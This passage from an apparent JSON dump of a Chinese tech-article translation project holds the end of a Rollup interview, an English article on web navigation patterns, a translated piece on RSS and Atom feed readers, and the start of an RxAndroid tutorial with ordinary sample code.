Conlen](https://twitter.com/mathisonian)，[Sarah Drasner](https://twitter.com/sarah_edo)，[Robert Monfera](https://twitter.com/monfera) 和 [Tom MacWright](https://twitter.com/tmcw) 这样的人。\n\n在更广泛的 web 开发前沿，我一直喜欢和 [Dylan Piercey](https://twitter.com/dylan_piercey) 交流 [Rill](https://rill.site)。这是一个可以让你编写在浏览器中运行的 Express 风格应用的通用的路由（router），这个想法很棒。对我来说，它达到了提高生产力而不过多限制使用者的最佳状态。\n\n\n## 最后随意说点什么？\n\nRollup 非常感谢您的帮助！ 这是当今生态中相当重要的一部分，但是我没有足够的时间去给予足够的重视，对我们的所有贡献者也是这样。如果您有兴趣提供能让数百万（甚至数十亿）网络用户受益的工具，请联系我们。\n\n\n## 结论\n\n感谢您采访 Rich ！Rollup 是一个十分了不起的工具，尤其是对于库作者来说，非常值得学习。希望有一天我们可以跳过整个打包步骤，那么这样会让事情简单不少。\n\n想了解更多关于 Rollup 的信息，[请阅读在线文档](https://rollupjs.org/)。你也可以[在 GitHub 上找到这个项目](https://github.com/rollup/rollup)。\n\n2017年7月10日\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/rom-simple-to-unusual-a-look-at-navigation-in-web-design.md",
    "content": "> * 原文地址：[A Look into Navigation in Web Design](https://cmd-t.webydo.com/from-simple-to-unusual-a-look-at-navigation-in-web-design-1057d0baef7b#.163gvilh8)\n* 原文作者：[Webydo](https://cmd-t.webydo.com/@webydo?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*0FpGfLWYz660FrNzIzM5ig.jpeg\">\n\n# A Look into Navigation in Web Design #\n\n## A retrospective on navigation patterns and an examination of where we’re heading in 2017. ##\n\nIn web design, navigation is second only to content. You need good content to sell your ideas, but that content won’t mean much if your users can’t find what they’re looking for.\n\nOf course, that was all lost on me when I was just getting started. I was self-taught, which is going to explain a lot about the painful things you’ll read in the next few paragraphs.\n\nNavigation, as I knew it, meant that you needed a “Home” button, an “About Us” button and a “Contact Button.” There might be more buttons depending on the site, or there might not be. Most important of all, of course, was that those buttons had to look *good*.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*GIW8iiIbA9DkQoNzIld4Og.jpeg\">\n\nI started learning web design in the First Era of Photoshop. Those were the good old days when, as I understood it, all you needed to learn web design were a few tutorials and a working knowledge of slicing up PSDs. There was a lot of badly-generated HTML, a few iframes and the liberal use of Flash. Oh yes, Flash. To hell with SEO.\n\nDreamWeaver and Frontpage wouldn’t display my Photoshop-made layouts correctly and their HTML and JavaScript menus made all the tables go wonky. If I wanted my hover effects to work in all browsers, I had to build my menus just the menus, mind, in Flash. I carried that bad habit for a while, even as I learned CSS, because I thought *:hover* didn’t quite work everywhere at the time. I’m only marginally comforted by the fact that the pros weren’t doing that much better.\n\nRemember that Photoshop jockeys often used the image-based buttons, even if they weren’t using Flash. Then there were the companies that absolutely had to have their nav links orbiting their logo. I’m not even going to start listing the abominations created in the days of the Flash-based site.\n\n#### Navigation was a jungle. ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*qyZqUsxinp0l8yhIOinyiQ.jpeg\">\n\nOh, remember the lists? I mean those long, long lists of links that people used for navigation on very large sites. They were usually placed on the left side of the page and linked to every single shred of marketing material that the marketing department could think of. The very idea of a “web strategy” was practically nonexistent, so companies just threw everything they could onto a site to see what would stick.\n\nThat resulted in very, very long lists of links. When things got really bad, they’d resort to tree-style lists. This pattern was at least familiar to some, as it was basically lifted from some of the file managers of the time, but it was still unwieldy to say the least.\n\nAnd then there were sitemaps. Before the days of search, before the days of contextual navigation and taxonomy-based navigation, there were sitemaps. For the youngsters, these were entire pages dedicated to listing and, if you were lucky, categorizing *every**single* internal link on the site. Some sites still have them, though now they are typically used to make it easier for search engines to crawl your content.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*FAfChSYM926n6bZrt0xSNA.jpeg\">\n\nNavigation has come a long way and yet, it is still a problem to be solved. In fact, it’s a problem that must be solved anew for each and every website created and the considerations have only gotten more complex.\n\n### Things change. ###\n\nEvolution is the only true constant in the tech world. To understand where we came from and where we’re going, we have to look at *why* navigation has evolved. The standard implementations of navigation have changed for three major reasons:\n\n#### 1. Sites have gotten smaller. And bigger. It’s complicated. ####\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*DV5pcj7VWYU0h_B6LnNhgw.gif\">\n](https://www.anthropologie.com/)\n\nOk, so on the one hand, your average brochure site (a very large portion of the web and many agencies’ bread and butter) is getting smaller. Many businesses don’t need more than a one-page site (which may or may not have any classic form of navigation at all) to get their point across, so that’s what they have. But, even if they keep the old five-page standard, people aren’t writing essays on the About Us page anymore. Customers don’t have time for that, clients don’t have time for that and designers sure as heck don’t have time for that.\n\nThe amount of text on these sorts of pages is straight up declining. Thank God. I mean, all we need to know is what you sell, where you sell it and maybe give us a price range. Just don’t forget the contact info and social media links. That’s it. That way, users find what they want faster.\n\nOn the other hand, the rise of the (mostly) user-friendly CMSs has given end users the ability to build massive sites on their own. Huge blogs are made with just WordPress and a theme. Wikis for every intellectual property imaginable are a thing.\n\nAt the enterprise level, we have Facebook and other massive web apps. The navigation for these things is basically spread all throughout the page, as there’s no single menu that could ever take you everywhere you need to go.\n\n#### 2. Devices have changed. ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*VznR_0FRGiJSlmRk2iZk5Q.jpeg\">\n\nSmall screens are everywhere. They come in just about every conceivable size. Navigation systems, just like every other page element, have had to adapt to this new state of affairs. It’s just a bit harder for navigation, though, as “just stacking it vertically” won’t always work.\n\nThe result has been the creation of a wide variety of new navigation patterns designed specifically for mobile and others designed to be adapt to all screen sizes. They have met varying degrees of success.\n\n#### 3. Our users and our understanding of users, have changed. ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*O5h3W9hSVVqiXOPIplVCAg.jpeg\">\n\nComputers are no longer the sole domain of the enthusiast and the person who needs a computer for their job.\n\nJust about everyone in developed countries has some sort of computer access, whether it’s a console, an aging desktop in a library, or their mobile phone. Smartphones in particular have spread all over the world and are almost the only means of connecting the Internet in some places.\n\n\nConsequently, our users range from people who still have trouble using a mouse, to people who were born into technology (and have still, for some reason, never really used a mouse). As we have come to understand our users better, we’ve developed more intuitive ways of getting around a website. Our goal is not to show them everything on the site at once, but to show them the information they want, when they want it.\n\nAs a guy who loves his PCs, I am loath to admit this but… Apple helped with that. And in a big way. This idea, this goal of being able to get around the OS in three clicks at most, inspired a lot of web designers. We may not be there yet in all cases, but hey, some websites and apps are almost as complex as your average operating system.\n\n### Where we are now: ###\n\nOkay, this is the part with the pretty pictures. Let’s have a look at some of the navigation patterns we’re using today. Some are holdovers from the old days that still work great, others are brand new and then others are just slight variations of established patterns, adjusted to fit their context.\n\n#### 1. Plain Navigation ####\n\nThis is your classic navigation pattern. It’s a list of links, placed near the top of the page and organized horizontally or vertically. It never stopped working, the lists just got shorter. This category also includes menu-style navigation bars.\n\nIt’s been relegated to the domain of smaller sites, usually brochure sites and eCommerce sites with a smallish inventory, because that’s where it usually works best.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*SoZnl7HsrkXxx184aAyeEg.gif\">\n\n**Other examples:**\n\n- [Toy Fight](http://toyfight.co/)\n- [The Cool Club](https://thecoolclub.co/)\n- [Ode Goods](https://www.odegoods.com/)\n- [Peter Tait](https://petertait.com/)\n- [Monofonts](http://www.monofonts.com/)\n- [Nasty Gal](http://www.nastygal.com/)\n- [Wake](https://wake.com/)\n\n#### 2. Hidden Navigation ####\n\nThis is an artifact of our mobile-first approach to almost everything these days. It often makes sense to hide your navigation behind a button. This pattern has bled over onto the desktop, with some designers going so far as to make full-screen menus for five or six links.\n\nIt sounds kind of unnecessary, but I think that once you go so far as to hide your navigation, making the menu really big isn’t going to hurt usability in any way.\n\nIn the case of Awwwards, hiding the navigation makes sense, because they have a complex drill-down(ish) menu that needs a fair bit of space to work.\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*EG28dZE1TXtv7g8qOeeiog.gif\">\n](http://www.awwwards.com/)\n\n[Awwwards](http://www.awwwards.com/)\n\n**Other examples:**\n\n- [Mindsparkle Mag](http://mindsparklemag.com/)\n- [Kinfolk](https://kinfolk.com/)\n- [Norgram](http://norgram.co/)\n- [Story Trail](http://www.storytrail.co/)\n- [Gooqx](http://www.gooqx.com/)\n- [Pell Mell](http://www.pellmell.fr/))\n- [Phil Casabon](https://philcasabon.com/)\n\n#### 3. Hybrid Navigation ####\n\nOn larger sites, and certainly in web apps, it’s often necessary to use more than one form of navigation. The simple example of this is how It’s Nice That has some primary navigation links in the upper left corner, and hides a much more comprehensive list of links behind a hamburger button.\n\nSites in this category often also make heavy use of footer-based navigation. Sometimes, it’s just a repeat of menu items at the top of the page, and is used for convenience. Other times, the footer is home to secondary navigation, full of links that are useful for a smaller number of users.\n\nPeople who want to change the site’s language, apply for a job, or read through privacy policies for fun (*Do people actually do that*?) might want to start there.\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*b1KELkwxiiV5h1GDmt3zrQ.gif\">\n](http://www.itsnicethat.com/)\n\n[It’s Nice That](http://www.itsnicethat.com/)\n\n**Other examples:**\n\n- [Webydo](http://www.webydo.com/)\n- [Big Youth](https://www.bigyouth.fr/en)\n- [Hannah Purmort](http://hannahpurmort.com/)\n- [Forth and Wonder](http://www.forthandwonder.com.au/destinations)\n- [10x16](http://10x16.com/)\n- [Legwork](http://www.legworkstudio.com/)\n- [Aurelien Vigne](http://www.aurelienvigne.com/)\n\n#### 4. Taxonomy-Based Navigation ####\n\nGo look at any blog. Or news site. Or Pinterest. That’s where you’ll find this kind of navigation.\n\nThis is all about taking your users through categorized posts and other collections of information. Whether it’s categorized by topic, date, tags, or what-have-you, it’s all about helping you find more of the same kind of content.\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*rfiOS-9zXUSRR-o18PseuA.gif\">\n](https://24ways.org/)\n\n[24 Ways](https://24ways.org/)\n\nOther examples:\n\n- [Smashing Magazine](https://www.smashingmagazine.com/) \n- [Fubiz](http://www.fubiz.net/)\n- [New York Times](https://www.nytimes.com/) \n- [From Up North](http://www.fromupnorth.com/) \n- [Digg](http://digg.com/)\n- [Designer News](https://www.designernews.co/)\n- [The Reformation](https://www.thereformation.com)\n\n#### 5. Experimental Navigation ####\n\nThis isn’t any one particular design pattern, but a collection of them. I like to call it Portfolio Navigation, because this sort of navigation is used most often on portfolio sites, where designers feel free to be extra creative. It’s often marked by the absence of any traditional menu, or by scattering the menu items all around the page. The corners are rather popular.\n\nIt’s also often used with a JavaScript-heavy, highly presentation-flavored approach to layout, with lots of animation. This approach to navigation often ends up hurting usability to some extent, but there’s no denying that the effect is often creative and new.\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*QhHgiWKZHwT2psPyXsn2zQ.gif\">\n](http://onesharedhouse.com/)\n\n[One Shared House](http://onesharedhouse.com/)([Anton & Irene](http://antonandirene.com/) )\n\n**Other examples:**\n\n- [Veinti Dos Gradoes](http://www.veintidosgrados.com/work) \n- [Zero Landfill](http://www.subaru.com/csr/environment.html#!/2016/05/25)\n- [Uber Ride](https://ride.uber.com/en_US/)\n- [Residente](http://residente.com/en/)\n- [North2](http://www.north2.net/)\n- [Because](http://www.because-recollection.com/)\n- [Aftershock](http://aftershock.cc/)\n\n### Navigation in the future: ###\n\n#### The immediate future: ####\n\nWhat sort of navigation do you want to see made? Go make it! Other than that, I think people will continue to work on responsive, device-agnostic forms of navigation, because they have to. The idea of standardized screen sizes died a long time ago, after all.\n\nI think people will begin to realize that navigation solutions for the Desktop and Mobile sizes of any design may need to be quite different, especially on large websites. So, for example, a drop-down menu may be turned into a drill-down menu later on, or something else that fits better on a small screen.\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*q3fnHV_okOBXA1oAs7y1Gw.gif\">\n](https://dribbble.com/shots/2724399-Virtual-reality-interfaces-GUI-Canvas)\n\n[Alex Deruette for Kickpush](https://dribbble.com/shots/2724399-Virtual-reality-interfaces-GUI-Canvas)\n\nI think that people’s belief in virtual reality will change some of our design patterns, too. Mind you, I don’t think VR will do much on its own. It’s a system that makes you more or less blind to the outside world and isn’t exactly mobile. For VR to take off, it needs to take off with the masses, and most of them are *not* nerds that live out of their offices, or have their offices at home.\n\nBut, for a while at least, the people who really want VR to be the next big thing will influence the way we design sites and that’s not necessarily a bad thing.\n\n#### The more-or-less foreseeable future: ####\n\nSlightly more palatable (and usable) to most people is Augmented Reality. It got off to a *very* rocky start with Google Glass’ terrible reception. In its more public-friendly forms like Pokemon Go, however, it took off like crazy. (Though even then, we saw some PGo-related hysteria here and there.) Given time for people to adapt, we may begin to see AR-dedicated devices that don’t get people thrown out of restaurants.\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*O1o8-isNluuQA89GCVplnQ.jpeg\">\n](http://dilussion.com/portfolio/sk-telecom-t-um-mobile/) \n\n[Dilusion](http://dilussion.com/portfolio/sk-telecom-t-um-mobile/) \n\nAnother thing that’s getting bigger all the time is automation. Automated homes, self-driving cars and increasingly, our devices don’t require us to touch them to interact with them.\n\nThis will affect website navigation in a huge way, as right now, it’s mostly still very dependent on people clicking with a mouse, or tapping with a finger. That will change, with time.\n\nAs virtual assistants like Siri and Cortana become ever more intelligent and capable, people will find fewer reasons to physically interact with their devices to access information and communicate with others. We already have rudimentary voice command systems for lots of things now, and I think they’re only going to get more sophisticated.\n\nNow, this won’t be the way *everyone* interacts with their devices, but I strongly suspect that in the future, website navigation will need to be at least as machine-friendly as human-friendly. Now there’s a challenge that should be fun.\n\n#### What do you think the future holds? Will we see a consolidation of existing navigation frameworks or an explosion of new patterns in web design in 2017? ####\n\n#### Author ####\n\n[Ezequiel Bruni](https://medium.com/@ezequielbruni) ​is a UX designer​,​ writer and aspiring photographer living in Mexico. When he’s not up to his ​finely-​chiseled ears in wire-frames ​or front-end code, h​e ​makes mouth-watering ​tacos. Give him a shout out on [Twitter](https://twitter.com/ezequielbruni).\n"
  },
  {
    "path": "TODO/rss-responsive-design.md",
    "content": "> * 原文地址：[The real responsive design challenge? RSS.](https://begriffs.com/posts/2016-05-28-rss-responsive-design.html)\n* 原文作者：[Joe \"begriffs\" Nelson](https://github.com/begriffs)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[shliujing (Jing Liu)](https://github.com/shliujing), [Airmacho (Will Wu)](https://github.com/Airmacho)\n\n# 响应式设计的真正挑战：RSS\n\nweb 世界丰富多彩，去看看服务器日志吧。那里充斥着爬虫机器人以及运行着各种操作系统，有着各种屏幕尺寸的移动设备和用户代理。你很容易会因为自己使用 web 的习惯而忽略了大多数普通用户的体验。\n\n比如我发现自己的网站有部分流量来自订阅了 Atom Feed 的阅读器。出于好奇，我决定看看用 Atom 阅读器看我的文章是什么样子。结果并不怎么好看。feed 的问题揭示了更深层次的可用性问题，而其解决方案还可以应用到更通用的 web 设计上。\n\n在继续读下去之前你可能想要亲自试一试。如果你维护着 RSS 或 Atom Feed 服务，可以放到各种阅读器中看看是什么样子的。而访问过我网站的阅读器有：Newsbeuter, Newsflow, Sismics reader, Tiny Tiny RSS, Feedly, Feedbin, Akregator, Feed Wrangler, NewsBlur, FeedHQ, Feed Spot, Livedoor reader, Miniflux, Liferea, Readerrr 以及 Mozilla reader。\n\n你会先注意到这些阅读器会删除 JavaScript 和 CSS 但是保留了图片。有时候它们会使用自定义的 CSS，甚至干脆不用 CSS。通过控制 CSS 阅读器软件可以提供流式排版以及各种可选的主题，比如深夜模式。你可能很久没有留意自己网站不用 CSS 时的样子，看过之后可能就觉得有必要去重新练习一下标记语言了。\n\n下面几个建议可以让你的网站对大家更友好。\n\n*   Font-Awesome 在需要平稳退化的时候并没有那么出色。可以转而使用没有 CSS 也能完美缩放的 SVG 图像。实际上用 `img` 标签加载 SVG 的时候可以加上 `alt` 属性，可以提供给无图形和非可视的用户代理。使用内联 (inline) 高度和宽度这样 SVG 在没有 CSS 的情况下也可以保证正确的大小。[这里](https://github.com/encharm/Font-Awesome-SVG-PNG)有替换 Font-Awesome 成 SVG 的详细说明。\n*   手动为多媒体标签添加临时替代方案。比如我的博文中的 `<video>` 标签在 feed 阅读器上显示得非常糟糕。一些阅读器干脆把它删掉了！还有些阅读器把视频框的尺寸搞得非常巨大却没法播放。在没法播放视频的场景下，最好的解决方案是给出视频的链接，方便使用其他程序下载或播放。所以我会把视频文件的链接放到 `<noscript>` 标签里。我还删掉了标记语言 (HTML) 中的 `<video>` 标签，转而用 JavaScript 在页面加载之后加上这些标签。我没法保证这个元素在没有 JavaScript 的场景下的行为。\n*   不要在标记语言和元数据中重复使用标题和其他数据。与 HTML 的随意风格不同，feed 格式有指定的地方来指定文章的作者，摘要和时间。带时间戳的页眉页脚，标题甚至 email 联系方式都没有必要放到 Atom Feed 中。\n*   选择合适尺寸的光栅图像。我在一些博文中使用 CSS 压缩了较大的图片以达到更好的展示效果。如果没有 CSS 这些图片就会非常巨大看上去很不妙（更不用提传输速度也会差一点）。\n*   留心 Atom 中 `summary` 和 `content` 的区别。一些静态网站生成器（呃，比如 _Hakyll_）会把整个正文都丢到 `summary`（摘要） 里面去。\n\n这次尝试让我见识到了用户代理的作用。全功能浏览器和基于文本的浏览器或者阅读器之间并没有本质的区别。用户在浏览网站时未必会全部启用 JavaScript，CSS 以及图像，而一些简单的调整就能让大家更容易欣赏你的网站。\n"
  },
  {
    "path": "TODO/rxandroid-tutorial.md",
    "content": "> * 原文地址：[RxAndroid Tutorial](https://www.raywenderlich.com/141980/rxandroid-tutorial)\n* 原文作者：[Artem Kholodnyi](https://www.raywenderlich.com/u/mlatu)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak](https://github.com/jamweak)\n* 校对者：[Zhiwei Yu](https://github.com/Zhiw), [Tanglie](https://github.com/tanglie1993)\n\n# RxAndroid 中文教程\n\n如果你是新人，你可能会想订阅我的 [RSS 流](http://www.raywenderlich.com/feed/)，或者关注我的 [Twitter](http://twitter.com/rwenderlich)。感谢阅读！\n\n![AndroidReactive-feature](https://koenig-media.raywenderlich.com/uploads/2016/11/AndroidReactive-feature-250x250.png)\n\n有人曾说，我们一生都应去追求积极主动的处事方式，而不是响应式。然而，这种思想并不适用开发 Android 程序。:]\n\n响应式编程并不仅是另外一套 API 规范。它是一种全新的并且非常有用的代码规范。“RxJava” 是一个能在 Android 上使用的响应式编程的实现。Android 是一个开始探索响应式编程世界的极佳平台。尤其是使用 “RxAndroid” 后，事情变得更加简单。“RxAndroid” 是一个将异步 UI 事件封装成更像 RxJava 风格的公共库。\n\n不要害怕——我敢打赌，即使你还不熟悉响应式编程，你也会知道关于它的一些基本概念的。:]\n\n*注意:* 本教程需要熟悉 Android 和 Java 的相关知识。想要快速跟上节奏的话，不妨先看看我们的 [Android 开发教程](https://www.raywenderlich.com/category/android)，当你准备好了之后再来看本篇。\n\n在本篇 RxAndroid 教程中，你将会学习如下知识：\n\n- 什么是响应式编程\n\n- 什么是 *observable*\n\n- 将例如按钮点击或是文本更新这些异步事件转换成 observable\n\n- 转换 observable 条目\n\n- 过滤 observable 条目\n\n- 指定代码在特定的线程中执行\n\n- 将多个 observable 合并成一个\n\n但愿你喜欢奶酪——因为我们将使用一个寻找奶酪的应用程序来讲述上面的这些概念！:]\n\n## 准备开始 ##\n\n下载 [学习本教程的起步工程](https://koenig-media.raywenderlich.com/uploads/2016/11/CheeseFinder-starter-2.zip)，并使用 Android Studio 打开。\n\n你只会用到 *CheeseActivity.java* 文件。`CheeseActivity` 这个类继承自 `BaseSearchActivity`；花些时间看一下 `BaseSearchActivity` 类，熟悉一下你将使用到的一些东西：\n\n- `showProgressBar()`: 展示进度条的方法…\n\n- `hideProgressBar()`: …隐藏进度条的方法\n\n- `showResult(List<String> result)`: 展示奶酪列表的方法\n\n- `mCheeseSearchEngine`: 一个 `CheeseSearchEngine` 的实例。它具有 `search` 方法，你可以调用它来查询奶酪。这个方法接收一个文本查询，返回一个匹配奶酪的列表：\n\n编译并在你的 Android 设备或模拟器上运行这个工程。 你将会看到一个空荡荡的查询页面。\n\n![starter-300x500](https://koenig-media.raywenderlich.com/uploads/2016/09/starter-300x500.png)\n\n## 什么是响应式编程？ ##\n\n在你创建第一个 observable 之前，先让自己学习一下理论知识。:]\n\n在 *命令式* 编程中, 一个表达式执行一次，值就赋给了对应的变量：\n\n```\nint a = 2;\nint b = 3;\nint c = a * b; // c is 6\n \na = 10;\n// c 仍然是 6\n```\n\n在另一方面，*响应式* 编程就是关注值的变化。\n\n你可能已经完成了一些响应式的编程，即便当时你并不了解它。\n\n- \n定义电子表格中单元格的“值”类似于在命令式编程中定义变量。\n\n- \n定义电子表格中单元格的“表达式”类似于在响应式编程中定义并操控 observable。\n\n下图的电子表格就实现了上述的两种示例：\n\n![](https://i.imgur.com/W8YCp8u.png)\n\n在表格中，赋给单元格 B1 的值是 2，B2 的值是 3。单元格 B3 中的值是由 B1 中的值乘以 B2 中的值这个表达式确定的。当表达式中引用的任一值发生变化时，这个变化即被表达式观察到，B3 中的值就会被重新计算：\n\n![](https://i.imgur.com/Mqqoi8D.png)\n\n## RxJava Observable 协议 ##\n\nRxJava 使用了 *观察者模式*。\n\n*注意*: 如果你想重温一下观察者模式的话，可以看看 [Android 中通用的设计模式](https://www.raywenderlich.com/109843/common-design-patterns-for-android).\n\n在观察者模式中，你的对象需要实现 RxJava 中的两个关键接口：`Observable` 和 `Observer`。当 `Observable` 的状态改变时，所有的订阅它的 `Observer` 对象都会被通知。\n\n在 `Observable` 接口的众多方法中，调用 `subscribe()` 让 `Observer` 开始订阅该 `Observable`。\n\n从这时起，`Observer` 接口有三个方法是 `Observable` 调用时需要的：\n\n- `onNext(T value)` 提供了一个新的 T 类型的条目给 `Observer`\n\n- `onComplete()` 通知 `Observer`，`Observable` 已发送完条目\n\n- `onError(Throwable e)` 通知 `Observer`，`Observable` 遇到了一个错误\n\n按照规范，一个表现正常的 `Observable` 会发出零个或者多个事件，直到最后发出结束或者错误。这听起来挺复杂，下面会有一些示例能简单地解释：\n\n一个网络请求 observable 通常发出一个单一的事件，并且立即结束：\n\n![network-request](https://koenig-media.raywenderlich.com/uploads/2016/08/network-request-650x186.png)\n\n绿色圆圈代表 observable 发出的一个事件，黑色的阻隔线代表结束或者错误。\n\n一个鼠标移动的 observable 将会发出鼠标的坐标，但永远不会结束：\n\n![mouse-coords](https://koenig-media.raywenderlich.com/uploads/2016/08/mouse-coords-650x186.png)\n\n在上图你可以看到多个事件被发出，但是没有隔断显示鼠标已经结束观察或者遇到错误。\n\n在结束之后，observable 不会再发出事件。下面示范一个错误的 observable 用法，其违背了 Observable 规范：\n\n![misbehaving-stream](https://koenig-media.raywenderlich.com/uploads/2016/08/misbehaving-stream-650x186.png) \n\n这是个非常错误的 observable，因为它违背了 Observable 规范，在发出结束信号之后，又发出了其它事件。\n\n## 如何创建一个 Observable ##\n\n有许多库能够帮助你创建一个几乎覆盖所有类型事件的 Observable。然而，有时你必须自己做，学习如何做是个好办法！\n\n你可以使用 `Observable.create()` 方法创建一个 Observable。下面是方法签名：\n\n```\nObservable<T> create(ObservableOnSubscribe<T> source)\n```\n\n看起来很简洁方便，但是它是什么意思？“source” 又是什么意思？要了解这个方法签名，你必须得知道什么是 `ObservableOnSubscribe`。它是一个接口，声明如下：\n\n```\npublic interface ObservableOnSubscribe<T> {\n  void subscribe(ObservableEmitter<T> e) throws Exception;\n}\n```\n就像艾布拉姆斯的剧集，如“迷失”或“西部世界”一样，回答问题往往不可避免地会引入其它问题。因此，你要用 “source” 来创建 `Observable`时，就需要知道 `subscribe()` 方法，这就又需要了解这个方法的调用者，它提供了一个 “emitter” 参数。然后呢，什么是 emitter?\n\nRxJava 的 `Emitter` 接口和`Observer` 类似:\n\n```\npublic interface Emitter<T> {\n  void onNext(T value);\n  void onError(Throwable error);\n  void onComplete();\n}\n```\n\n `ObservableEmitter`, 特别地, 还提供了一种取消订阅的方式。\n\n为了让整个过程形象化，来设想调节水流大小的水龙头。水管就相当于一个 `Observable`，如果你有办法从中汲取的话，它就会释放出水流。你构建一个可以开关的水龙头，就像创建一个 `ObservableEmitter`，随后用 `Observable.create()` 来连接水管。结果就是一个理想的水龙头。:]\n\n举例说明能将场景去抽象化，更加容易理解。接下来是时候来创建你的第一个 observable 了！:]\n\n## 观察按钮点击 ##\n\n将下面的代码添加到 `CheeseActivity` 类中:\n\n```\n// 1\nprivate Observable<String> createButtonClickObservable() {\n \n  // 2\n  return Observable.create(new ObservableOnSubscribe<String>() {\n \n    // 3\n    @Override\n    public void subscribe(final ObservableEmitter<String> emitter) throws Exception {\n      // 4\n      mSearchButton.setOnClickListener(new View.OnClickListener() {\n        @Override\n        public void onClick(View view) {\n          // 5\n          emitter.onNext(mQueryEditText.getText().toString());\n        }\n      });\n \n      // 6\n      emitter.setCancellable(new Cancellable() {\n        @Override\n        public void cancel() throws Exception {\n          // 7\n          mSearchButton.setOnClickListener(null);\n        }\n      });\n    }\n  });\n}\n```\n\n这里是上述代码的注释：\n\n1. 声明了一个方法，它返回一个 发出 String 类型事件的 observable;\n\n2. 使用 `Observable.create()` 创建 observable, 并将 `ObservableOnSubscribe` 提供给它;\n\n3. 重写 `subscribe()` 方法来定义自己的 `ObservableOnSubscribe`;\n\n4. 在 `mSearchButton` 上设置一个监听器;\n\n5. 当点击事件发生时，回调 emitter 中的 `onNext` 方法，并将 `mQueryEditText` 中的当前文本传递给它;\n\n6. Java 中持有引用会造成内存泄漏。保持移除不需要的监听器是一个良好的习惯。但当你创建自定义的 `Observable` 时，该调用谁呢？基于这个原因，`ObservableEmitter` 有一个 `setCancellable()` 方法。 重写 `cancel()`, 当 Observable 被释放时，比如当 Observable 结束或是不再有订阅者时，你的实现会被调用；\n\n7. 对于 `OnClickListener`, 移除监听器的方式是 `setOnClickListener(null)`；\n\n既然已经定义好了 Observable，你需要为它设置一个订阅者。在这之前，你需要了解更多的接口，`Consumer`。它是一种从 emitter 中接收值的简便方式。\n\n```\npublic interface Consumer<T> {\n  void accept(T t) throws Exception;\n}\n```\n\n使用这个接口，你能很方便地去设置对 Obserable 的订阅。\n\n`Observable` 接口支持几种版本的 `subscribe()`，每种都有不同的参数类型。例如，如果你愿意的话，你可以传一个完整的 `Observer`，但你需要实现其所有必要的方法。\n\n但如果你所需要的仅仅是 observer 对于 `onNext()` 传进来的值做出响应的话，你可以使用只有一个 `Consumer` 参数（这个参数甚至被命名成 `onNext`，将联系变得清晰）版本的 `subscribe()` 方法。\n\n当你在 activity 的 `onStart()` 方法中进行订阅时，你会完成上述的步骤。将下面的代码添加到 `CheeseActivity.java` 类中:\n\n```\n@Override\nprotected void onStart() {\n  super.onStart();\n  // 1\n  Observable<String> searchTextObservable = createButtonClickObservable();\n \n  searchTextObservable\n      // 2\n      .subscribe(new Consumer<String>() {\n        //3\n        @Override\n        public void accept(String query) throws Exception {\n          // 4\n          showResult(mCheeseSearchEngine.search(query));\n        }\n      });\n}\n```\n\n引入 `Consumer` 是有歧义的; 遇到提示时, 导入:\n\n```\nimport io.reactivex.functions.Consumer;\n```\n\n以下是各步的释义：\n\n1. 首先， 通过你刚刚写的方法创建一个 observable。\n\n2. 使用 `subscribe()` 来订阅 observable, 提供一个 `Consumer` 参数。\n\n3. 重写 `accept()` 方法, 当 oberservable 发出事件后会回调此方法。\n\n4. 最后, 执行查询并展示查询结果。\n\n编译并运行应用，输入一些字符然后点击 *Search* 按钮。你应该看到一个匹配你查询规则的奶酪列表：\n\n![enter-and-press-300x500](https://koenig-media.raywenderlich.com/uploads/2016/09/enter-and-press-300x500.png)\n\n看起来很好吃的样子! :]\n\n## RxJava 线程模型 ##\n\n你刚才已经初尝了响应式编程。现在还有一个问题：当点击查询按钮时，UI 界面会卡住几秒钟的时间。\n\n你也可能注意到在 Studio 的 Android Monitor 一栏会有如下几行：\n\n```\n> 08-24 14:36:34.554 3500-3500/com.raywenderlich.cheesefinder I/Choreographer: Skipped 119 frames!  The application may be doing too much work on its main 